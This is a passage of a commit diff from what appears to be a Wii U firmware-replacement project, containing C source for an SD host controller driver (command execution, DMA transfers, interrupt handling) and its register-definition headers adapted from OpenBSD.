HCLR2(hp, SDHC_NINTR_SIGNAL_EN, SDHC_CARD_INTERRUPT);
HCLR2(hp, SDHC_NINTR_STATUS_EN, SDHC_CARD_INTERRUPT);
}
}
void
sdhc_card_intr_ack(struct sdhc_host *hp)
{
HSET2(hp, SDHC_NINTR_STATUS_EN, SDHC_CARD_INTERRUPT);
}
int
sdhc_wait_state(struct sdhc_host *hp, u_int32_t mask, u_int32_t value)
{
u_int32_t state;
int timeout;
for (timeout = 500; timeout > 0; timeout--) {
if (((state = HREAD4(hp, SDHC_PRESENT_STATE)) & mask)
== value)
return 0;
udelay(10000);
}
DPRINTF(0,("sdhc: timeout waiting for %x (state=%d)\n", value, state));
return ETIMEDOUT;
}
void
sdhc_exec_command(struct sdhc_host *hp, struct sdmmc_command *cmd)
{
int error;
if (cmd->c_datalen > 0)
hp->data_command = 1;
if (cmd->c_timeout == 0) {
if (cmd->c_datalen > 0)
cmd->c_timeout = SDHC_TRANSFER_TIMEOUT;
else
cmd->c_timeout = SDHC_COMMAND_TIMEOUT;
}
hp->intr_status = 0;
/*
* Start the MMC command, or mark `cmd' as failed and return.
*/
error = sdhc_start_command(hp, cmd);
if (error != 0) {
cmd->c_error = error;
SET(cmd->c_flags, SCF_ITSDONE);
hp->data_command = 0;
return;
}
/*
* Wait until the command phase is done, or until the command
* is marked done for any other reason.
*/
int status = sdhc_wait_intr(hp, SDHC_COMMAND_COMPLETE, cmd->c_timeout);
if (!ISSET(status, SDHC_COMMAND_COMPLETE)) {
cmd->c_error = ETIMEDOUT;
DEBUG("timeout dump: error_intr: 0x%x intr: 0x%x\n", hp->intr_error_status, hp->intr_status);
// sdhc_dump_regs(hp);
SET(cmd->c_flags, SCF_ITSDONE);
hp->data_command = 0;
return;
}
// DEBUG("command_complete, continuing...\n");
/*
* The host controller removes bits [0:7] from the response
* data (CRC) and we pass the data up unchanged to the bus
* driver (without padding).
*/
if (cmd->c_error == 0 && ISSET(cmd->c_flags, SCF_RSP_PRESENT)) {
if (ISSET(cmd->c_flags, SCF_RSP_136)) {
u_char *p = (u_char *)cmd->c_resp;
int i;
for (i = 0; i < 15; i++)
*p++ = HREAD1(hp, SDHC_RESPONSE + i);
} else
cmd->c_resp[0] = HREAD4(hp, SDHC_RESPONSE);
}
/*
* If the command has data to transfer in any direction,
* execute the transfer now.
*/
if (cmd->c_error == 0 && cmd->c_datalen > 0)
sdhc_transfer_data(hp, cmd);
DPRINTF(1,("sdhc: cmd %u done (flags=%#x error=%d prev state=%d)\n",
cmd->c_opcode, cmd->c_flags, cmd->c_error, (cmd->c_resp[0] >> 9) & 15));
SET(cmd->c_flags, SCF_ITSDONE);
hp->data_command = 0;
}
int
sdhc_start_command(struct sdhc_host *hp, struct sdmmc_command *cmd)
{
u_int16_t blksize = 0;
u_int16_t blkcount = 0;
u_int16_t mode;
u_int16_t command;
int error;
DPRINTF(1,("sdhc: start cmd %u arg=%#x data=%p dlen=%d flags=%#x\n",
cmd->c_opcode, cmd->c_arg, cmd->c_data, cmd->c_datalen, cmd->c_flags));
/*
* The maximum block length for commands should be the minimum
* of the host buffer size and the card buffer size. (1.7.2)
*/
/* Fragment the data into proper blocks. */
if (cmd->c_datalen > 0) {
blksize = MIN(cmd->c_datalen, cmd->c_blklen);
blkcount = cmd->c_datalen / blksize;
if (cmd->c_datalen % blksize > 0) {
/* XXX: Split this command. (1.7.4) */
DEBUG("sdhc: data not a multiple of %d bytes\n", blksize);
return EINVAL;
}
}
/* Check limit imposed by 9-bit block count. (1.7.2) */
if (blkcount > SDHC_BLOCK_COUNT_MAX) {
DEBUG("sdhc: too much data\n");
return EINVAL;
}
/* Prepare transfer mode register value. (2.2.5) */
mode = 0;
if (ISSET(cmd->c_flags, SCF_CMD_READ))
mode |= SDHC_READ_MODE;
if (blkcount > 0) {
mode |= SDHC_BLOCK_COUNT_ENABLE;
if (blkcount > 1) {
mode |= SDHC_MULTI_BLOCK_MODE;
/* XXX only for memory commands? */
mode |= SDHC_AUTO_CMD12_ENABLE;
}
}
if (ISSET(hp->flags, SHF_USE_DMA))
mode |= SDHC_DMA_ENABLE;
/*
* Prepare command register value. (2.2.6)
*/
command = (cmd->c_opcode & SDHC_COMMAND_INDEX_MASK) <<
SDHC_COMMAND_INDEX_SHIFT;
if (ISSET(cmd->c_flags, SCF_RSP_CRC))
command |= SDHC_CRC_CHECK_ENABLE;
if (ISSET(cmd->c_flags, SCF_RSP_IDX))
command |= SDHC_INDEX_CHECK_ENABLE;
if (cmd->c_data != NULL)
command |= SDHC_DATA_PRESENT_SELECT;
if (!ISSET(cmd->c_flags, SCF_RSP_PRESENT))
command |= SDHC_NO_RESPONSE;
else if (ISSET(cmd->c_flags, SCF_RSP_136))
command |= SDHC_RESP_LEN_136;
else if (ISSET(cmd->c_flags, SCF_RSP_BSY))
command |= SDHC_RESP_LEN_48_CHK_BUSY;
else
command |= SDHC_RESP_LEN_48;
/* Wait until command and data inhibit bits are clear. (1.5) */
if ((error = sdhc_wait_state(hp, SDHC_CMD_INHIBIT_MASK, 0)) != 0)
return error;
if (ISSET(hp->flags, SHF_USE_DMA) && cmd->c_datalen > 0) {
cmd->c_resid = blkcount;
cmd->c_buf = cmd->c_data;
if (ISSET(cmd->c_flags, SCF_CMD_READ) == 0) {
dc_flushrange(cmd->c_data, cmd->c_datalen);
ahb_flush_to(hp->pa.rb);
}
HWRITE4(hp, SDHC_DMA_ADDR, (u32)cmd->c_data);
}
DPRINTF(1,("sdhc: cmd=%#x mode=%#x blksize=%d blkcount=%d\n",
command, mode, blksize, blkcount));
/*
* Start a CPU data transfer. Writing to the high order byte
* of the SDHC_COMMAND register triggers the SD command. (1.5)
*/
// HWRITE2(hp, SDHC_TRANSFER_MODE, mode);
HWRITE2(hp, SDHC_BLOCK_SIZE, blksize | 7 << 12);
HWRITE2(hp, SDHC_BLOCK_COUNT, blkcount);
HWRITE4(hp, SDHC_ARGUMENT, cmd->c_arg);
// http://wiibrew.org/wiki/Reversed_Little_Endian
// HWRITE2(hp, SDHC_COMMAND, command);
HWRITE4(hp, SDHC_TRANSFER_MODE, ((u32)command << 16) | mode);
return 0;
}
void
sdhc_transfer_data(struct sdhc_host *hp, struct sdmmc_command *cmd)
{
int error;
int status;
error = 0;
DPRINTF(1,("resp=%#x datalen=%d\n", MMC_R1(cmd->c_resp), cmd->c_datalen));
if (ISSET(hp->flags, SHF_USE_DMA)) {
for(;;) {
status = sdhc_wait_intr(hp, SDHC_TRANSFER_COMPLETE |
SDHC_DMA_INTERRUPT,
SDHC_TRANSFER_TIMEOUT);
if (!status) {
DEBUG("DMA timeout %08x\n", status);
error = ETIMEDOUT;
break;
}
if (ISSET(status, SDHC_TRANSFER_COMPLETE)) {
// DEBUG("got a TRANSFER_COMPLETE: %08x\n", status);
break;
}
}
} else
DEBUG("fail.\n");
#ifdef SDHC_DEBUG
/* XXX I forgot why I wanted to know when this happens :-( */
if ((cmd->c_opcode == 52 || cmd->c_opcode == 53) &&
ISSET(MMC_R1(cmd->c_resp), 0xcb00))
DEBUG("sdhc: CMD52/53 error response flags %#x\n",
MMC_R1(cmd->c_resp) & 0xff00);
#endif
if (ISSET(cmd->c_flags, SCF_CMD_READ)) {
ahb_flush_from(hp->pa.wb);
dc_invalidaterange(cmd->c_data, cmd->c_datalen);
}
if (error != 0)
cmd->c_error = error;
SET(cmd->c_flags, SCF_ITSDONE);
DPRINTF(1,("sdhc: data transfer done (error=%d)\n", cmd->c_error));
return;
}
/* Prepare for another command. */
int
sdhc_soft_reset(struct sdhc_host *hp, int mask)
{
int timo;
DPRINTF(1,("sdhc: software reset reg=%#x\n", mask));
HWRITE1(hp, SDHC_SOFTWARE_RESET, mask);
for (timo = 10; timo > 0; timo--) {
if (!ISSET(HREAD1(hp, SDHC_SOFTWARE_RESET), mask))
break;
udelay(10000);
HWRITE1(hp, SDHC_SOFTWARE_RESET, 0);
}
if (timo == 0) {
DPRINTF(1,("sdhc: timeout reg=%#x\n", HREAD1(hp, SDHC_SOFTWARE_RESET)));
HWRITE1(hp, SDHC_SOFTWARE_RESET, 0);
return (ETIMEDOUT);
}
return (0);
}
int
sdhc_wait_intr_debug(const char *funcname, int line, struct sdhc_host *hp, int mask, int timo)
{
(void) funcname;
(void) line;
int status;
mask |= SDHC_ERROR_INTERRUPT;
mask |= SDHC_ERROR_TIMEOUT;
status = hp->intr_status & mask;
for (; timo > 0; timo--) {
#ifdef CAN_HAZ_IRQ
if((get_cpsr() & 0b11111) == 0b10010)
#endif
sdhc_intr(hp); // seems backwards but ok
if (hp->intr_status != 0) {
status = hp->intr_status & mask;
break;
}
udelay(1000);
}
if (timo == 0) {
status |= SDHC_ERROR_TIMEOUT;
}
hp->intr_status &= ~status;
DPRINTF(2,("sdhc: funcname=%s, line=%d, timo=%d status=%#x intr status=%#x error %#x\n",
funcname, line, timo, status, hp->intr_status, hp->intr_error_status));
/* Command timeout has higher priority than command complete. */
if (ISSET(status, SDHC_ERROR_INTERRUPT)) {
DEBUG("resetting due to error interrupt\n");
// sdhc_dump_regs(hp);
hp->intr_error_status = 0;
(void)sdhc_soft_reset(hp, SDHC_RESET_DAT|SDHC_RESET_CMD);
status = 0;
}
/* Command timeout has higher priority than command complete. */
if (ISSET(status, SDHC_ERROR_TIMEOUT)) {
DEBUG("resetting due to timeout\n");
// sdhc_dump_regs(hp);
hp->intr_error_status = 0;
(void)sdhc_soft_reset(hp, SDHC_RESET_DAT|SDHC_RESET_CMD);
status = 0;
}
return status;
}
/*
* Established by attachment driver at interrupt priority IPL_SDMMC.
*/
int
sdhc_intr(struct sdhc_host *hp)
{
u_int16_t status;
u_int16_t error;
u_int16_t signal;
DPRINTF(1,("sdhc_intr():\n"));
// sdhc_dump_regs(hp);
/* Find out which interrupts are pending. */
status = HREAD2(hp, SDHC_NINTR_STATUS);
if (!ISSET(status, SDHC_NINTR_STATUS_MASK)) {
DPRINTF(1, ("unknown interrupt\n"));
return 0;
}
error = HREAD2(hp, SDHC_EINTR_STATUS);
signal = HREAD2(hp, SDHC_EINTR_SIGNAL_EN);
/* Acknowledge the interrupts we are about to handle. */
HWRITE2(hp, SDHC_NINTR_STATUS, status);
DPRINTF(2,("sdhc: interrupt status=%d\n", status));
/* Service error interrupts. */
if (ISSET(status, SDHC_ERROR_INTERRUPT)) {
/* Acknowledge error interrupts. */
HWRITE2(hp, SDHC_EINTR_SIGNAL_EN, 0);
(void)sdhc_soft_reset(hp, SDHC_RESET_DAT|SDHC_RESET_CMD);
if (hp->data_command == 1) {
hp->data_command = 0;
hp->pa.abort();
}
HWRITE2(hp, SDHC_EINTR_STATUS, error);
HWRITE2(hp, SDHC_EINTR_SIGNAL_EN, signal);
DPRINTF(2,("sdhc: error interrupt, status=0x%x, signal=0x%x\n", error, signal));
if (ISSET(error, SDHC_CMD_TIMEOUT_ERROR|
SDHC_DATA_TIMEOUT_ERROR)) {
hp->intr_error_status |= error;
hp->intr_status |= status;
}
}
/*
* Wake up the blocking process to service command
* related interrupt(s).
*/
if (ISSET(status, SDHC_BUFFER_READ_READY|
SDHC_BUFFER_WRITE_READY|SDHC_COMMAND_COMPLETE|
SDHC_TRANSFER_COMPLETE)) {
hp->intr_status |= status;
}
if (ISSET(status, SDHC_DMA_INTERRUPT)) {
DPRINTF(2,("sdhc: dma left:%#x\n", HREAD2(hp, SDHC_BLOCK_COUNT)));
// this works because our virtual memory
// addresses are equal to the physical memory
// addresses and because we require the target
// buffer to be contiguous
HWRITE4(hp, SDHC_DMA_ADDR, HREAD4(hp, SDHC_DMA_ADDR));
}
/* Service SD card interrupts. */
if (ISSET(status, SDHC_CARD_INTERRUPT)) {
DPRINTF(0,("sdhc: card interrupt\n"));
HCLR2(hp, SDHC_NINTR_STATUS_EN, SDHC_CARD_INTERRUPT);
}
/*
* Wake up the sdmmc event thread to scan for cards.
*/
if (ISSET(status, SDHC_CARD_REMOVAL|SDHC_CARD_INSERTION))
hp->pa.attach(hp);
return 1;
}
#ifdef SDHC_DEBUG
void
sdhc_dump_regs(struct sdhc_host *hp)
{
DEBUG("0x%02x PRESENT_STATE: %x\n", SDHC_PRESENT_STATE,
HREAD4(hp, SDHC_PRESENT_STATE));
DEBUG("0x%02x POWER_CTL: %x\n", SDHC_POWER_CTL,
HREAD1(hp, SDHC_POWER_CTL));
DEBUG("0x%02x NINTR_STATUS: %x\n", SDHC_NINTR_STATUS,
HREAD2(hp, SDHC_NINTR_STATUS));
DEBUG("0x%02x EINTR_STATUS: %x\n", SDHC_EINTR_STATUS,
HREAD2(hp, SDHC_EINTR_STATUS));
DEBUG("0x%02x NINTR_STATUS_EN: %x\n", SDHC_NINTR_STATUS_EN,
HREAD2(hp, SDHC_NINTR_STATUS_EN));
DEBUG("0x%02x EINTR_STATUS_EN: %x\n", SDHC_EINTR_STATUS_EN,
HREAD2(hp, SDHC_EINTR_STATUS_EN));
DEBUG("0x%02x NINTR_SIGNAL_EN: %x\n", SDHC_NINTR_SIGNAL_EN,
HREAD2(hp, SDHC_NINTR_SIGNAL_EN));
DEBUG("0x%02x EINTR_SIGNAL_EN: %x\n", SDHC_EINTR_SIGNAL_EN,
HREAD2(hp, SDHC_EINTR_SIGNAL_EN));
DEBUG("0x%02x CAPABILITIES: %x\n", SDHC_CAPABILITIES,
HREAD4(hp, SDHC_CAPABILITIES));
DEBUG("0x%02x MAX_CAPABILITIES: %x\n", SDHC_MAX_CAPABILITIES,
HREAD4(hp, SDHC_MAX_CAPABILITIES));
}
#endif

233
stage2/sdhc.h Normal file
View File

@ -0,0 +1,233 @@
/* $OpenBSD: sdhcvar.h,v 1.3 2007/09/06 08:01:01 jsg Exp $ */
/*
* Copyright (c) 2006 Uwe Stuehler <uwe@openbsd.org>
* Copyright (c) 2009 Sven Peter <svenpeter@gmail.com>
* Copyright (c) 2016 Daz Jones <daz@dazzozo.com>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#ifndef _SDHCVAR_H_
#define _SDHCVAR_H_
#include "bsdtypes.h"
#include "memory.h"
#include "sdmmc.h"
struct sdhc_host_params {
void (*attach)();
void (*abort)();
enum rb_client rb;
enum wb_client wb;
};
struct sdhc_host {
bus_space_tag_t iot; /* host register set tag */
bus_space_handle_t ioh; /* host register set handle */
u_int16_t version; /* specification version */
u_int clkbase; /* base clock frequency in KHz */
int flags; /* flags for this host */
u_int32_t ocr; /* OCR value from capabilities */
u_int8_t regs[14]; /* host controller state */
volatile u_int16_t intr_status; /* soft interrupt status */
volatile u_int16_t intr_error_status; /* soft error status */
int data_command;
struct sdhc_host_params pa;
};
/* Host controller functions called by the attachment driver. */
int sdhc_host_found(struct sdhc_host *, struct sdhc_host_params *, bus_space_tag_t, bus_space_handle_t, int);
void sdhc_power(int, void *);
void sdhc_shutdown(struct sdhc_host *);
int sdhc_intr(struct sdhc_host *);
/* Host standard register set */
#define SDHC_DMA_ADDR 0x00
#define SDHC_BLOCK_SIZE 0x04
#define SDHC_BLOCK_COUNT 0x06
#define SDHC_BLOCK_COUNT_MAX 512
#define SDHC_ARGUMENT 0x08
#define SDHC_TRANSFER_MODE 0x0c
#define SDHC_MULTI_BLOCK_MODE (1<<5)
#define SDHC_READ_MODE (1<<4)
#define SDHC_AUTO_CMD12_ENABLE (1<<2)
#define SDHC_BLOCK_COUNT_ENABLE (1<<1)
#define SDHC_DMA_ENABLE (1<<0)
#define SDHC_COMMAND 0x0e
/* 14-15 reserved */
#define SDHC_COMMAND_INDEX_SHIFT 8
#define SDHC_COMMAND_INDEX_MASK 0x3f
#define SDHC_COMMAND_TYPE_ABORT (3<<6)
#define SDHC_COMMAND_TYPE_RESUME (2<<6)
#define SDHC_COMMAND_TYPE_SUSPEND (1<<6)
#define SDHC_COMMAND_TYPE_NORMAL (0<<6)
#define SDHC_DATA_PRESENT_SELECT (1<<5)
#define SDHC_INDEX_CHECK_ENABLE (1<<4)
#define SDHC_CRC_CHECK_ENABLE (1<<3)
/* 2 reserved */
#define SDHC_RESP_LEN_48_CHK_BUSY (3<<0)
#define SDHC_RESP_LEN_48 (2<<0)
#define SDHC_RESP_LEN_136 (1<<0)
#define SDHC_NO_RESPONSE (0<<0)
#define SDHC_RESPONSE 0x10 /* - 0x1f */
#define SDHC_DATA 0x20
#define SDHC_PRESENT_STATE 0x24
/* 25-31 reserved */
#define SDHC_CMD_LINE_SIGNAL_LEVEL (1<<24)
#define SDHC_DAT3_LINE_LEVEL (1<<23)
#define SDHC_DAT2_LINE_LEVEL (1<<22)
#define SDHC_DAT1_LINE_LEVEL (1<<21)
#define SDHC_DAT0_LINE_LEVEL (1<<20)
#define SDHC_WRITE_PROTECT_SWITCH (1<<19)
#define SDHC_CARD_DETECT_PIN_LEVEL (1<<18)
#define SDHC_CARD_STATE_STABLE (1<<17)
#define SDHC_CARD_INSERTED (1<<16)
/* 12-15 reserved */
#define SDHC_BUFFER_READ_ENABLE (1<<11)
#define SDHC_BUFFER_WRITE_ENABLE (1<<10)
#define SDHC_READ_TRANSFER_ACTIVE (1<<9)
#define SDHC_WRITE_TRANSFER_ACTIVE (1<<8)
/* 3-7 reserved */
#define SDHC_DAT_ACTIVE (1<<2)
#define SDHC_CMD_INHIBIT_DAT (1<<1)
#define SDHC_CMD_INHIBIT_CMD (1<<0)
#define SDHC_CMD_INHIBIT_MASK 0x0003
#define SDHC_HOST_CTL 0x28
#define SDHC_8BIT_MODE (1<<5)
#define SDHC_HIGH_SPEED (1<<2)
#define SDHC_4BIT_MODE (1<<1)
#define SDHC_LED_ON (1<<0)
#define SDHC_POWER_CTL 0x29
#define SDHC_VOLTAGE_SHIFT 1
#define SDHC_VOLTAGE_MASK 0x07
#define SDHC_VOLTAGE_3_3V 0x07
#define SDHC_VOLTAGE_3_0V 0x06
#define SDHC_VOLTAGE_1_8V 0x05
#define SDHC_BUS_POWER (1<<0)
#define SDHC_BLOCK_GAP_CTL 0x2a
#define SDHC_WAKEUP_CTL 0x2b
#define SDHC_CLOCK_CTL 0x2c
#define SDHC_SDCLK_DIV_SHIFT 8
#define SDHC_SDCLK_DIV_MASK 0xff
#define SDHC_SDCLK_DIV_RSHIFT_V3 2
#define SDHC_SDCLK_DIV_MASK_V3 0x300
#define SDHC_SDCLK_ENABLE (1<<2)
#define SDHC_INTCLK_STABLE (1<<1)
#define SDHC_INTCLK_ENABLE (1<<0)
#define SDHC_TIMEOUT_CTL 0x2e
#define SDHC_TIMEOUT_MAX 0x0e
#define SDHC_SOFTWARE_RESET 0x2f
#define SDHC_RESET_MASK 0x5
#define SDHC_RESET_DAT (1<<2)
#define SDHC_RESET_CMD (1<<1)
#define SDHC_RESET_ALL (1<<0)
#define SDHC_NINTR_STATUS 0x30
#define SDHC_ERROR_INTERRUPT (1<<15)
#define SDHC_ERROR_TIMEOUT (1<<14)
#define SDHC_CARD_INTERRUPT (1<<8)
#define SDHC_CARD_REMOVAL (1<<7)
#define SDHC_CARD_INSERTION (1<<6)
#define SDHC_BUFFER_READ_READY (1<<5)
#define SDHC_BUFFER_WRITE_READY (1<<4)
#define SDHC_DMA_INTERRUPT (1<<3)
#define SDHC_BLOCK_GAP_EVENT (1<<2)
#define SDHC_TRANSFER_COMPLETE (1<<1)
#define SDHC_COMMAND_COMPLETE (1<<0)
#define SDHC_NINTR_STATUS_MASK 0x81ff
#define SDHC_EINTR_STATUS 0x32
#define SDHC_ADMA_ERROR (1<<9)
#define SDHC_AUTO_CMD12_ERROR (1<<8)
#define SDHC_CURRENT_LIMIT_ERROR (1<<7)
#define SDHC_DATA_END_BIT_ERROR (1<<6)
#define SDHC_DATA_CRC_ERROR (1<<5)
#define SDHC_DATA_TIMEOUT_ERROR (1<<4)
#define SDHC_DATA_ERROR 0x70
#define SDHC_CMD_INDEX_ERROR (1<<3)
#define SDHC_CMD_END_BIT_ERROR (1<<2)
#define SDHC_CMD_CRC_ERROR (1<<1)
#define SDHC_CMD_TIMEOUT_ERROR (1<<0)
#define SDHC_CMD_ERROR 0x0f
#define SDHC_EINTR_STATUS_MASK 0x03ff /* excluding vendor signals */
#define SDHC_NINTR_STATUS_EN 0x34
#define SDHC_EINTR_STATUS_EN 0x36
#define SDHC_NINTR_SIGNAL_EN 0x38
#define SDHC_NINTR_SIGNAL_MASK 0x01ff
#define SDHC_EINTR_SIGNAL_EN 0x3a
#define SDHC_EINTR_SIGNAL_MASK 0x03ff /* excluding vendor signals */
#define SDHC_CMD12_ERROR_STATUS 0x3c
#define SDHC_CAPABILITIES 0x40
#define SDHC_VOLTAGE_SUPP_1_8V (1<<26)
#define SDHC_VOLTAGE_SUPP_3_0V (1<<25)
#define SDHC_VOLTAGE_SUPP_3_3V (1<<24)
#define SDHC_DMA_SUPPORT (1<<22)
#define SDHC_HIGH_SPEED_SUPP (1<<21)
#define SDHC_BASE_FREQ_SHIFT 8
#define SDHC_BASE_FREQ_MASK 0x3f
#define SDHC_BASE_FREQ_MASK_V3 0xff
#define SDHC_TIMEOUT_FREQ_UNIT (1<<7) /* 0=KHz, 1=MHz */
#define SDHC_TIMEOUT_FREQ_SHIFT 0
#define SDHC_TIMEOUT_FREQ_MASK 0x1f
#define SDHC_MAX_CAPABILITIES 0x48
#define SDHC_SLOT_INTR_STATUS 0xfc
#define SDHC_HOST_CTL_VERSION 0xfe
#define SDHC_SPEC_VERS_SHIFT 0
#define SDHC_SPEC_VERS_MASK 0xff
#define SDHC_VENDOR_VERS_SHIFT 8
#define SDHC_VENDOR_VERS_MASK 0xff
#define SDHC_SPEC_V1 0
#define SDHC_SPEC_V2 1
#define SDHC_SPEC_V3 2
/* SDHC_CLOCK_CTL encoding */
#define SDHC_SDCLK_DIV(div) \
(((div) & SDHC_SDCLK_DIV_MASK) << SDHC_SDCLK_DIV_SHIFT)
#define SDHC_SDCLK_DIV_V3(div) \
(SDHC_SDCLK_DIV(div) | \
(((div) & SDHC_SDCLK_DIV_MASK_V3) >> SDHC_SDCLK_DIV_RSHIFT_V3))
/* SDHC_CAPABILITIES decoding */
#define SDHC_BASE_FREQ_KHZ(cap) \
((((cap) >> SDHC_BASE_FREQ_SHIFT) & SDHC_BASE_FREQ_MASK) * 1000)
#define SDHC_BASE_FREQ_KHZ_V3(cap) \
((((cap) >> SDHC_BASE_FREQ_SHIFT) & SDHC_BASE_FREQ_MASK_V3) * 1000)
#define SDHC_TIMEOUT_FREQ(cap) \
(((cap) >> SDHC_TIMEOUT_FREQ_SHIFT) & SDHC_TIMEOUT_FREQ_MASK)
#define SDHC_TIMEOUT_FREQ_KHZ(cap) \
(((cap) & SDHC_TIMEOUT_FREQ_UNIT) ? \
SDHC_TIMEOUT_FREQ(cap) * 1000: \
SDHC_TIMEOUT_FREQ(cap))
/* SDHC_HOST_CTL_VERSION decoding */
#define SDHC_SPEC_VERSION(hcv) \
(((hcv) >> SDHC_SPEC_VERS_SHIFT) & SDHC_SPEC_VERS_MASK)
#define SDHC_VENDOR_VERSION(hcv) \
(((hcv) >> SDHC_VENDOR_VERS_SHIFT) & SDHC_VENDOR_VERS_MASK)
struct sdmmc_command;
int sdhc_host_reset(struct sdhc_host *hp);
int sdhc_card_detect(struct sdhc_host *hp);
int sdhc_bus_power(struct sdhc_host *hp, u_int32_t);
int sdhc_bus_clock(struct sdhc_host *hp, int, int);
int sdhc_bus_width(struct sdhc_host *hp, int);
void sdhc_card_intr_mask(struct sdhc_host *hp, int);
void sdhc_card_intr_ack(struct sdhc_host *hp);
void sdhc_exec_command(struct sdhc_host *hp, struct sdmmc_command *);
void sdhc_async_command(struct sdhc_host *hp, struct sdmmc_command *);
void sdhc_async_response(struct sdhc_host *hp, struct sdmmc_command *);
#endif

372
stage2/sdmmc.h Normal file
View File

@ -0,0 +1,372 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Sven Peter <svenpeter@gmail.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __SDMMC_H__
#define __SDMMC_H__
#include "bsdtypes.h"
struct sdmmc_command;
typedef struct sdhc_host * sdmmc_chipset_handle_t;
/* clock frequencies for sdmmc_chip_bus_clock() */
#define SDMMC_SDCLK_OFF 0
#define SDMMC_SDCLK_400KHZ 400
#define SDMMC_SDCLK_25MHZ 25000
#define SDMMC_TIMING_LEGACY 0
#define SDMMC_TIMING_HIGHSPEED 1
struct sdmmc_csd {
int csdver; /* CSD structure format */
int mmcver; /* MMC version (for CID format) */
int capacity; /* total number of sectors */
int sector_size; /* sector size in bytes */
int read_bl_len; /* block length for reads */
/* ... */
};
struct sdmmc_cid {
int mid; /* manufacturer identification number */
int oid; /* OEM/product identification number */
char pnm[8]; /* product name (MMC v1 has the longest) */
int rev; /* product revision */
int psn; /* product serial number */
int mdt; /* manufacturing date */
};
typedef u_int32_t sdmmc_response[4];
struct sdmmc_softc;
struct sdmmc_task {
void (*func)(void *arg);
void *arg;
int onqueue;
struct sdmmc_softc *sc;
};
#define sdmmc_init_task(xtask, xfunc, xarg) do { \
(xtask)->func = (xfunc); \
(xtask)->arg = (xarg); \
(xtask)->onqueue = 0; \
(xtask)->sc = NULL; \
} while (0)
#define sdmmc_task_pending(xtask) ((xtask)->onqueue)
struct sdmmc_command {
// struct sdmmc_task c_task; /* task queue entry */
u_int16_t c_opcode; /* SD or MMC command index */
u_int32_t c_arg; /* SD/MMC command argument */
sdmmc_response c_resp; /* response buffer */
void *c_data; /* buffer to send or read into */
int c_datalen; /* length of data buffer */
int c_blklen; /* block length */
int c_flags; /* see below */
#define SCF_ITSDONE 0x0001 /* command is complete */
#define SCF_CMD(flags) ((flags) & 0x00f0)
#define SCF_CMD_AC 0x0000
#define SCF_CMD_ADTC 0x0010
#define SCF_CMD_BC 0x0020
#define SCF_CMD_BCR 0x0030
#define SCF_CMD_READ 0x0040 /* read command (data expected) */
#define SCF_RSP_BSY 0x0100
#define SCF_RSP_136 0x0200
#define SCF_RSP_CRC 0x0400
#define SCF_RSP_IDX 0x0800
#define SCF_RSP_PRESENT 0x1000
/* response types */
#define SCF_RSP_R0 0 /* none */
#define SCF_RSP_R1 (SCF_RSP_PRESENT|SCF_RSP_CRC|SCF_RSP_IDX)
#define SCF_RSP_R1B (SCF_RSP_PRESENT|SCF_RSP_CRC|SCF_RSP_IDX|SCF_RSP_BSY)
#define SCF_RSP_R2 (SCF_RSP_PRESENT|SCF_RSP_CRC|SCF_RSP_136)
#define SCF_RSP_R3 (SCF_RSP_PRESENT)
#define SCF_RSP_R4 (SCF_RSP_PRESENT)
#define SCF_RSP_R5 (SCF_RSP_PRESENT|SCF_RSP_CRC|SCF_RSP_IDX)
#define SCF_RSP_R5B (SCF_RSP_PRESENT|SCF_RSP_CRC|SCF_RSP_IDX|SCF_RSP_BSY)
#define SCF_RSP_R6 (SCF_RSP_PRESENT|SCF_RSP_CRC|SCF_RSP_IDX)
#define SCF_RSP_R7 (SCF_RSP_PRESENT|SCF_RSP_CRC|SCF_RSP_IDX)
int c_error; /* errno value on completion */
int c_timeout;
/* Host controller owned fields for data xfer in progress */
int c_resid; /* remaining I/O */
u_char *c_buf; /* remaining data */
};
/*
* Decoded PC Card 16 based Card Information Structure (CIS),
* per card (function 0) and per function (1 and greater).
*/
struct sdmmc_cis {
u_int16_t manufacturer;
#define SDMMC_VENDOR_INVALID 0xffff
u_int16_t product;
#define SDMMC_PRODUCT_INVALID 0xffff
u_int8_t function;
#define SDMMC_FUNCTION_INVALID 0xff
u_char cis1_major;
u_char cis1_minor;
char cis1_info_buf[256];
char *cis1_info[4];
};
/*
* Structure describing either an SD card I/O function or a SD/MMC
* memory card from a "stack of cards" that responded to CMD2. For a
* combo card with one I/O function and one memory card, there will be
* two of these structures allocated. Each card slot has such a list
* of sdmmc_function structures.
*/
struct sdmmc_function {
/* common members */
u_int16_t rca; /* relative card address */
int flags;
#define SFF_ERROR 0x0001 /* function is poo; ignore it */
#define SFF_SDHC 0x0002 /* SD High Capacity card */
/* SD card I/O function members */
int number; /* I/O function number or -1 */
struct sdmmc_cis cis; /* decoded CIS */
/* SD/MMC memory card members */
struct sdmmc_csd csd; /* decoded CSD value */
struct sdmmc_cid cid; /* decoded CID value */
sdmmc_response raw_cid; /* temp. storage for decoding */
};
#define SDMMC_LOCK(sc) lockmgr(&(sc)->sc_lock, LK_EXCLUSIVE, NULL)
#define SDMMC_UNLOCK(sc) lockmgr(&(sc)->sc_lock, LK_RELEASE, NULL)
#define SDMMC_ASSERT_LOCKED(sc) \
KASSERT(lockstatus(&((sc))->sc_lock) == LK_EXCLUSIVE)
#define SDMMC_DEFAULT_CLOCK 25000
#define SDMMC_DEFAULT_BLOCKLEN 512
#define SDMMC_NO_CARD 1
#define SDMMC_NEW_CARD 2
#define SDMMC_INSERTED 3
/* MMC commands */ /* response type */
